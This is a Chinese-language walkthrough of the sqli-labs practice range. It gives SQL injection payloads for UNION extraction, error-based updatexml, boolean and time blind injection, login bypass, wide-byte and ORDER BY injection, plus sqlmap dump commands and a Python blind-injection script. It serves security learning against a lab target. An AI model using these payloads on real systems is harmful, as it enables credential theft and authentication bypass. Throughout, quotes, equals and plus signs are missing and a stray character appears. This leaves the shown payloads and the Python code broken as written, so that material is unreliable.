资讯详情 sqli-labs通关指南:从联合查询到盲注绕过的SQL注入实战
📅 2026/10/20 21:45:44
1. 项目概述sqli-labs是什么以及本文的通关路线sqli-labs是一套经典的SQL注入靶场几十个关卡覆盖了从最基础的字符型GET注入到Cookie注入、堆叠注入、二次注入、过滤绕过等真实场景。BUUCTF平台上部署了在线版本浏览器打开就能直接练习省去了自己搭PHP环境的折腾。这篇文章不打算罗列概念而是按真实打靶的顺序走一遍发现注入点、判断类型、枚举库表字段、提取数据、拿到flag同时把每一类注入为什么这么构造讲清楚。先说清楚这套靶场为什么值得完整打一遍。SQL注入是Web安全测试里最基础也最核心的一项能力它不依赖特定框架只要后端把用户输入直接拼进SQL语句就可能存在漏洞。sqli-labs的难度梯度设计得很好Less 1到Less 4是不同闭合方式的联合查询Less 5到Less 9逼你脱离回显做盲注Less 11开始是POST场景后面还有宽字节、堆叠、过滤绕过等进阶内容。如果你能坚持把这些关卡全部手工打一遍再回头做CTF里的SQL注入题会有一种“所有套路我都见过”的从容感。这篇文章适合三类人。第一类是刚从SQL语法入门、想搞懂注入原理的初学者第二类是已经会手工注入、但整个流程比较零散、想系统整理一遍思路的进阶者第三类是准备打CTF、想快速过一遍经典payload的选手。我会尽量用实际的URL和数据包来讲少堆概念多给能直接复现的操作。顺带提一句安全边界。本文所有操作都针对授权靶场环境sqli-labs本身就是用来合法练习的漏洞环境示例payload只建议在靶场或自己搭的实验环境里执行。理解原理可以让你在防御侧看得更清楚但别把学到的东西用在未经授权的系统上这条红线是所有安全从业者的基本素养。2. 信息收集如何快速确定一个参数存在注入很多初学者拿到一个URL就开始上sqlmap这其实跳过了最关键的环节。手工探测的意义不只是“证明能不能注入”而是判断参数在后端SQL语句里的位置和拼接方式。这一步判断错了后面所有payload都会白写。我会用Less 1作为例子逐步演示从普通请求到拿到flag的完整链路。2.1 注入点探测三板斧引号、运算、逻辑真假拿到一个参数比如http://127.0.0.1/sqli-labs/Less-1/?id1先别急着写UNION。我习惯依次做三个基础测试每个都有明确目的。第一加单引号。把?id1改成?id1观察响应。Less 1会返回SQL语法错误并且错误信息里能看到完整的查询语句这就直接把后端SQL暴露给了我们。报错本身是靶场开的“福利”真实环境中错误信息通常会被隐藏但MySQL的报错路径在调试时依然有参考价值。这一步能确认参数确实被拼进了SQL且大概率是字符型注入。第二做数字运算。把?id2-1传给参数如果页面内容和?id1完全一致说明参数被当作数字参与运算这就是数值型注入。数值型的好处是不用闭合引号构造payload时省掉很多麻烦。Less 2就是这个类型直接把?id1 union select ...拼上去就能生效。第三做逻辑真假判断。先访问?id1 and 11再访问?id1 and 12。前者页面正常后者页面异常就能确认注入条件成立。这里有个细节容易被忽略and 11在URL里直接使用时空格会丢失因为浏览器会把URL中的空格做编码处理。实际测试时建议写成?id1%20and%2011或者用Burp Suite的Repeater模块直接发原始请求避免因为编码问题产生误判。这三板斧做完你至少能判断三件事参数是否可注入、是字符型还是数值型、闭合方式是怎样的。这是所有后续操作的前提不值得跳过。2.2 字符型注入的闭合方式判断字符型注入的核心难点在于闭合引号。后端SQL大概是SELECT ... WHERE id$id这种形式你传进去的1会让语句变成WHERE id1语法报错。想要让后面的语句能执行就必须在注入内容里构造出完整的闭合结构。最通用的闭合方式是1 --。这里的--是SQL注释符表示后面所有内容都是注释不会参与执行在URL中是空格的编码形式确保--后面有空格MySQL的注释符要求后面必须跟空白字符才生效。所以最基础的payload是?id1 --如果闭合方式不是单引号而是单引号加括号比如Less 3的SQL是WHERE id($id)那你需要的是1) --。Less 4则是双引号加括号对应1) --。怎么判断很简单逐个尝试闭合方式哪一种能让页面回显恢复正常就说明闭合正确。这里给一个小技巧如果报错信息直接显示SQL语句就无需猜直接看语句里参数被包在什么符号里。如果报错被隐藏就用?id1 and 11这类自闭合的payload让语句在语法上保持成立页面恢复正常即说明闭合方式匹配。Less 1到Less 4就是为练习这个判断而设计的四种闭合方式挨个试一遍你对引号闭合的理解会牢固很多。2.3 用ORDER BY和UNION确定列数和回显位置闭合方式确认后接下来要解决两件事这个查询返回几列、哪里能回显数据。列数探测用的是ORDER BY。MySQL支持ORDER BY 1、ORDER BY 2这样按序号排序如果序号超过实际列数语句就会报错。所以访问?id1 ORDER BY 3 --页面正常改成ORDER BY 4报错说明当前查询有3列。这个方法比UNION SELECT 1,2,3试错更高效因为你还没有确定列数时UNION会因为列数不匹配一直报错。确定列数后再用UNION构造一个临时查询来找回显位置?id1 AND 0 UNION SELECT 1,2,3 --这里用AND 0让前面的条件恒为假这样原始查询不回显任何数据UNION SELECT后面的1,2,3就是我们的数据。页面中如果出现了数字2和3说明第2、3列可以回显后面要查的数据库名、表名、字段名就填在这些位置。Less 1的回显位置是2和3这已经足够完成后续操作。在实际渗透测试中回显位置不一定正好是你需要的位置但配合CONCAT函数可以把多个字段拼到一个列里输出比如CONCAT(username,0x3a,password)所以只要有一个回显点就够用。2.4 从数据库名到数据字典的完整枚举有了回显位置下一步就是按“库→表→字段→数据”的层级把数据字典翻一遍。首先查当前数据库名直接把回显位置的数字替换成database()?id1 AND 0 UNION SELECT 1,database(),3 --Less 1返回的数据库名是security。这名字是不是很眼熟sqli-labs默认数据库就叫security里面有几个经典表。接下来查表名需要用到MySQL的information_schema元数据库?id1 AND 0 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schemasecurity --注意这里用了GROUP_CONCAT它可以把多行结果拼成一行输出避免因为一行只显示一个表名而降序查询。Less 1返回的表有emails、referers、uagents、users。目标很明确重点看users表这种表里一般存用户名和密码靶场的flag也经常藏在这里。继续查users表的字段?id1 AND 0 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schemasecurity AND table_nameusers --返回id,username,password。这三个字段名很经典。最后的提取动作?id1 AND 0 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM security.users --把用户名和密码用0x3a拼接0x3a就是冒号的十六进制表示。这一步之后Less 1的数据就等于全部提取完了。整个过程看起来简单但每一步都建立在前面正确判断的基础上任何一个环节的拼接错误都会让payload失效。3. 核心实操亲手打通四类最经典的注入关卡掌握了信息收集的框架之后我会用四个不同类型的关卡展示完整实操。Less 1代表联合查询注入Less 5代表报错注入Less 8代表布尔盲注Less 11代表POST注入。这四类几乎覆盖了80%的CTF题目和真实环境里的SQL注入场景。3.1 联合查询注入Less 1的完整payload链联合查询的完整步骤已经在上文演示过这里补充一些细节和变体。第一点是UNION前后的数据对齐。AND 0的目的是让原始查询结果为空如果你忘记了它页面可能会先显示原始查询的一条数据再显示UNION的结果数据叠加在一起看着很乱。用AND 0之后页面只会显示UNION查询的结果干净利落。第二点是关于注释符的变体。--是我最常用的但有些环境下--后面不加空格无效这时可以用#注释不过#在URL中需要编码成%23。写成?id1%23也是可以的。如果注释符本身被过滤那就回到第5章的绕过思路先用等价写法绕过去再继续。第三点是提取多字段的拼接技巧。如果你想一次提取多个表的数据可以用UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x3c62723e),3 FROM users --这里的0x3c62723e是HTML的换行标签br这样在页面里多条记录会自动换行看起来清楚很多。Less 1到Less 4的SQL结构相似只是闭合方式不同payload只需要改前缀部分UNION后面这部分完全复用。3.2 报错注入Less 5和Less 6的updatexml与extractvalueLess 5的页面和Less 1有个显著区别无论你怎么联合查询页面上都不会直接回显数据库内容。这是因为查询结果被后端代码接收后只判断是否为空不输出具体值。这时候再死磕UNION就没有意义了需要换思路——让数据库主动把敏感信息包含在报错信息里吐出来。MySQL的报错注入最常用的是extractvalue()和updatexml()。这两个函数本来是处理XML文档的但遇到格式不正确的XPath表达式时会抛出包含参数内容的错误信息。比如?id1 AND updatexml(1,concat(0x7e,database(),0x7e),1) --0x7e是波浪号~让XPath解析出错并返回错误信息。执行后页面会显示类似XPATH syntax error: ~security~的内容数据库名就藏在报错里。因为报错信息有长度限制通常一次只能提取一小段数据所以要用SUBSTR函数一点点切?id1 AND updatexml(1,concat(0x7e,substr((SELECT password FROM users WHERE usernameadmin),1,20),0x7e),1) --这串payload看起来嵌套很复杂我习惯从内向外写先写子查询取数据再用concat包装成错误格式最后喂给updatexml。Less 6和Less 5的区别只是闭合引号变成了双引号payload前缀改成?id1即可。使用报错注入有一个经验删除掉order by的判断直接构造报错场景很常见。报错信息会触发MySQL的错误返回有时候被WAF拦截得更频繁但在靶场练习阶段它就是取数利器。3.3 布尔盲注与时间盲注Less 8和Less 9的自动化思路Less 8开始进入真正的盲注场景。页面没有回显也没有报错只有“You are in”和白页两种表现。这时候可以利用页面差异把SQL语句改成判断真伪的表达式。最基础的布尔盲注payload是?id1 AND (SELECT ASCII(SUBSTR(database(),1,1)))110 --如果当前数据库名第一个字符的ASCII值大于110页面正常否则白页。用二分法不断缩小范围最终能把字符精确猜出来。手工做一次只能确定一个字符效率很低所以盲注阶段我建议直接写脚本第5章有完整的Python示例。Less 9是时间盲注页面连真假区别都看不出来怎么传都是同样一个页面。方法是让SQL语句在条件成立时触发延迟?id1 AND IF(ASCII(SUBSTR(database(),1,1))110,SLEEP(3),0) --如果条件成立数据库会执行SLEEP(3)页面响应时间明显变长条件不成立则立即返回。通过响应时间差来判断真假本质是给盲注加了一个“信道”。判断字符用二分法也能做但时间盲注每轮测试都要等几秒效率更低所以脚本里必须用二分法把请求次数压到最低。有一点值得提醒时间盲注依赖网络稳定性如果本身网络延迟很大SLEEP时间的差值会被淹没。我一般把延迟设成3秒太小容易误判太大会浪费时间。靶场本地环境可以快一点跨网络的远程测试建议5秒以上比较稳。3.4 POST注入Less 11中的登录表单绕过Less 11开始从GET切换到POST注入点从URL参数转移到了表单数据。打开页面是一个用户名密码登录框。提交admin/admin会提示登录失败。此时Burp Suite要出场了开代理抓一下提交请求能看到POST的数据体unameadminpasswdadminsubmitSubmit这个场景里后端SQL大概是SELECT ... WHERE username$uname and password$passwd。判断注入类型的方式和GET没区别只是payload需要放在POST体中。把用户名改成admin --密码随便填整个SQL就变成了SELECT username,password FROM users WHERE usernameadmin -- AND password任意值由于--把后面的密码校验注释掉了语句永远成立直接就能以admin身份登录。这就是经典的万能密码原理。你可以在uname字段做UNION查询把返回的数据显示到登录后的页面上。比如unameadmin AND 0 UNION SELECT 1,database(),3 -- passwdxsubmitSubmitPOST和GET的本质完全一样只是参数位置变了。很多人卡在这里不是不会SQL注入而是没意识到把Burp的拦截打开、手动改POST体就行了。浏览器地址栏不适合直接构造POST请求所以如果你还停留在手工改URL的阶段学到这里就该把Burp Suite的Repeater用熟练了。4. 进阶关卡过滤绕过与传统思路之外的花式注入Less 23开始靶场给SQL语句加了各种过滤动作练的是你在“标准注入被禁止”之后怎么见招拆招。这里挑三个最有代表性的场景讲分别是过滤注释符、宽字节注入、以及ORDER BY注入。4.1 过滤注释符后如何闭合语句Less 23会把输入中的--和#都替换成空字符串。用常规payload硬拼时注释符一被清掉后面的SQL片段就会露出来导致语法错误。一种思路是“不注释”。既然不能用注释吃掉末尾的单引号那就构造一个同样能匹配原SQL逻辑的闭合。对于单引号字符型查询可以把payload写成?id1 AND 11对应到后端SQL就是WHERE id1 AND 11整个语句语法完整逻辑恒真。末尾不依赖注释符自然而然地结束。这种方式专治注释符被过滤的场景。还有一种思路是构造1 OR 11这种更宽松的逻辑本质都是利用引号配对让语句闭合。Less 23的报错信息会暴露SQL直接看到后端语句结构反而更容易拼接。4.2 宽字节注入从GBK编码漏洞绕过过滤Less 32是宽字节注入的经典演示。在MySQL和PHP交互时如果数据库连接字符集是GBK“\”这类转义字符会和前面的字符组合成新的宽字节字符导致转义失效。具体来说后端代码用反斜杠把输入中的单引号转义成\单引号不再起作用。但当输入是%df时PHP添加反斜杠变成%df\MySQL在GBK字符集下解析时%df和\会被当成一个字符運剩下的单引号就不再是转义状态成功闭合了字符串。所以我常用的payload是?id1%df AND 0 UNION SELECT 1,2,3 --页面会从这里开始正常回显数据。宽字节注入并不是所有环境都存在它依赖MySQL的character_set_client是GBK。现在很多新环境默认UTF8这类漏洞变少了但当你挖到老系统时宽字节依然是实用的一招。4.3 ORDER BY注入与报错型取数Less 46把注入点放在了ORDER BY后面。这里的SQL是SELECT * FROM users ORDER BY $id。问题来了ORDER BY后面跟的是列名或排序方向不能直接UNION所以常规的联合查询行不通。这类场景我习惯用报错注入因为UPDATEXML函数的位置不受影响?id1 AND updatexml(1,concat(0x7e,database(),0x7e),1)注意到ORDER BY子句中AND后面的表达式会被看作排序键的一部分所以可以让updatexml在这里生效。执行后页面直接抛出数据库名。基于这个思路提取表名、字段名和数据都是同一套写法只是子查询里的目标不同。这里补充一个判断顺序的小技巧。ORDER BY注入的场景里你可以用1 DESC、2 DESC这种写法来观察排序变化。如果id1和id2的返回顺序颠倒说明参数确实是排序键的一部分注入点判断就没有问题。4.4 用sqlmap给手工判断做交叉验证打完手工流程后sqlmap可以作为一个快速验证和提速的工具。我在靶场里常用的是sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch --dbs加上--batch让它自动选择默认选项先枚举数据库。拿到库名后指定库名和表名直接导数据sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users --dump --batch不过我的建议是先用sqlmap打通一遍再用肉眼去看它的payload和注入数据对比自己手工构造的语句差异。sqlmap的payload生成逻辑非常严谨尤其在闭合拼接这一块会考虑各种边缘情况多读它的输出实际上是在免费上课。千万不要只会跑工具否则遇到sqlmap识别不了的注入类型你会发现自己连手动排查的起点都找不到。5. 常见问题与调试速查实战中的拦路虎与解决办法靶场里的每一关都有标准答案但练习时你会遇到一些和payload本身无关的坑比如环境差异、编码问题、请求方式不对。我整理几个高频问题配上解决办法方便你卡住时直接翻。5.1 典型故障与排查对照表现象可能原因排查方法?id1不报错也不变页面参数是数字型单引号被直接拼进数字里改为测试?id2-1看是否等于?id1UNION SELECT 后页面无回显没有用AND 0或AND false清空原始结果把原始查询置为假再执行UNIONpayload在Burp里能打浏览器里报错URL编码问题#、空格被浏览器改变用Burp Repeater发送原始请求或手动URL编码--注释无效注释符后缺少空格用--其中是URL解码后的空格注入了但是查询不到数据表名或字段名拼错先用information_schema完整枚举一次再查数据时间盲注页面延迟不稳定网络抖动干扰判断加大 SLEEP 值去掉并发干扰用多次结果取稳定值POST参数注入找不到入口没有抓包只在URL里改参数开启Burp代理在原始请求中修改提交数据在实际练习中我发现“本地环境正常但在线靶场不弹数据”经常是因为两个环境的PHP/MySQL配置不一样。比如把magic_quotes_gpc开着输入的单引号会被自动转义就需要构造宽字节payload绕过。所以遇到非预期的拦截时先确认环境配置再怀疑自己的payload写法。5.2 用Python写一个二分法布尔盲注脚本Less 8手工猜数据太慢我写了个简单的二分法脚本把整个过程自动化。核心逻辑是循环枚举字符每次猜测ASCII值是否大于某个中间数根据页面内容缩小范围直到确定字符。import requests url http://127.0.0.1/sqli-labs/Less-8/ cookie {PHPSESSID: your_session} def is_true(condition): payload f?id1 AND {condition} -- resp requests.get(url payload, cookiescookie, timeout10) return You are in in resp.text # 获取当前数据库名长度 length 0 for i in range(1, 50): if is_true(fLENGTH(DATABASE()){i}): length 1 else: break print(f[] database length: {length 1}) # 用二分法逐个字符猜数据库名 result for pos in range(1, length 2): low, high 32, 126 while low high: mid (low high) // 2 if is_true(fASCII(SUBSTR(DATABASE(),{pos},1)){mid}): low mid 1 else: high mid result chr(low) print(f[] database: {result})这里注意二分法必须使用判断初始范围从32到126覆盖常见可打印字符。脚本里并没有写死表名后续可以改成查表名、字段名和数据本质就是replace里面的表达式。写完的脚本要处理URL编码问题requests库会自动编码部分字符但保险起见我会把空格写成%20或直接用配合requests参数的方式传参不会在拼接URL时留下原始空格。时间盲注的脚本只需要把is_true函数里的验证逻辑改成检测响应时间大于阈值即可代码框架完全复用值得保存好。5.3 几条实战经验与避坑心得最后分享一些不容易从文档里学到的经验。第一注入语句的构造顺序永远是“闭合优先、数据提取次之”。很多新手一上来就写UNION SELECT结果卡在闭合上报错也看不到。先把、)、这类闭合结构试出来再加数据提取部分成功率会显著提升。第二报错信息是上帝视角但也是纸老虎。靶场把SQL错误直接回显到页面这降低了入门难度但也容易让人形成依赖。建议练到Less 5以后就主动忽略报错信息假设自己遇到一个“禁报错”的环境强制用盲注思路解决这样练出来的能力更扎实。第三请求头不能只盯着UA和Cookie。Less 18到Less 22把注入点放在User-Agent、Referer和Cookie里这类位置很容易被你忽略。做题时Burp捕获的完整请求包应该逐行看每一个头部字段都可能成为注入载体。尤其是实际测试中越隐蔽的位置越可能藏着防护盲区。第四在修改payload时注意使用Hex编码处理特殊字符。比如单引号的十六进制是0x27但有几类函数和过滤对引号极其敏感直接把引号用CHAR()拼出来有时候能绕过。MySQL里CHAR(39)就是单引号碰到过滤时就近替换省去返工。第五做完一关一定要回头看源码。sqli-labs在每个关卡后面有对应的PHP源码里面就是最真实的后端拼接逻辑。你试错十几次才试出来的闭合方式看一眼源码立懂。对照源码理解payload的每一段在做什么比纯刷题管用得多。结束语可以停在这里但还有最后一句话想送给你SQL注入这个领域看似是背payload其实是拼逻辑和理解。你真正掌握了闭合、列数、回显、盲注这一整套思维之后看代码审计、做漏洞应急、处理防护规则都会有更清晰的视角。我看过很多人花一周刷完sqli-labs再回头自己写一遍盲注脚本才算把靶场的东西沉淀为能力。希望这五千多字的通关记录能让你少走一些我当年走过的弯路。如果卡在某一个关卡先别急着看答案用Burp把请求拆开慢慢观察绝大多数问题都会自己浮出来。